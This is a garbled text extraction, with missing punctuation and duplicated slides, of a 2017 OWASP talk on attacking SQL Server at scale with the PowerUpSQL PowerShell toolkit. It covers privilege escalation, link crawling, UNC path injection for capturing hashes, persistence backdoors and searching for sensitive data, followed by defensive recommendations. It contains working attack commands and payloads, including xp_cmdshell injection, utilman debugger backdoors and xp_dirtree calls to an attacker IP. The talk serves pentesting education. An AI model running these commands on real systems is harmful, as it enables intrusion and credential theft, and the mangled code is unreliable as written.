PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 21: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

